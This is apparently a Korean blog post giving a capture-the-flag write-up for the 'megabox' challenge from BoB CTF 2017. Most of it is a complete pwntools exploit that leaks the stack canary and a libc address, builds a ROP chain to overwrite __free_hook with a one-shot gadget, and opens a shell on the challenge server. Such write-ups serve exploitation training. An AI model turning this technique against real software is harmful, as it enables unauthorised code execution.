-
[BoB CTF] megaboxCTF 2017. 1. 4. 01:53
megabox 문제는 일단 취약점은 엄청 간단하고, 중요한건 샌드박스임.
name은 힙으로 관리하고, 힙은 사용하는데 없음 고로 힙익스가 아님..
일단 mmap으로 커스텀스택을 하나 할당해서 요기로 관리하게된다.
그리고나서 clone이란 함수를 사용하는데, void ptr로 fn이 복제되어서 샌드박스안에서 돌아가는것처럼 됨.
고로 샌드박스 이스케이프(?) 를 해야된다.
일단 릭벡터와 오버플로우는 엄청 쉽게준다. 릭은 buf를 그냥출력하니까 쉽게 카나리를 릭할수있고, 기존의 리턴은 clone 근처의 libc주소를 갖고있기때문에 libc 릭도 쉽다. 하지만 어딜 덮어야될지모른다. 스택을 ROP로 릭해보았지만 바이너리가 꼬여서 돌아갈주소를 줘도 터지고 함....
하지만 free_hook을 덮는 방법이있었다 망할 ㅋ
익스안에 개고생했던것들이 들어가있다. 변수를 보면 알겠지만 하하하
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import *p = remote("10.211.55.3",11111)# p = remote("52.34.185.58",10001)# p = process("megabox")def write(data):print p.recvuntil(">>>")p.sendline("1")print p.recvuntil(">>>")p.sendline(data)def read():print p.recvuntil(">>>")p.sendline("2")print p.recvuntil("...")p.sendline("A"*32)write("P"*136)read()print p.recvuntil("P"*136)canary = u64(p.recv(8))print hex(canary)offset = 0xfa300base = 0xFA37Dpoprdi = 0x00401043printf_plt = 0x400960gets = 0x4009C0payload = "P"*136 + p64(canary) + "A"*8oneshot = 0x4647cwrite(payload)read()print p.recvuntil(payload)libc_leak = u64(p.recv(8))base = libc_leak - offsetone_shot = base + oneshotsystem = base + 0x46590binsh = base + 0x17C8C3printf_plt = 0x400960poprdxrsi = base + 0x108099write_plt = 0x400930addrsp = base + 0x2D0F4read = 0x400980free_hook = base + 0x3C0A10print hex(libc_leak)print "canary: " + hex(canary)print "base: " + hex(base)print "oneshot: " + hex(one_shot)print "free@hook: " + hex(free_hook)payload = "P"*136 + p64(canary) + p64(0x0400E48)payload += p64(poprdi)payload += p64(free_hook)payload += p64(gets)payload += p64(0x400E48)write(payload)p.sendline("3")p.sendline(p64(one_shot))p.interactive()cs 'CTF' 카테고리의 다른 글
Plaid CTF prodmanager (0) 2017.01.07 [BoB CTF] casino (0) 2017.01.04 [christmas ctf 2016] who is solo 문제풀이 (0) 2016.12.25 HoldyShield Pwn400 diary (0) 2016.12.22 HolyShield pwn100 (0) 2016.12.20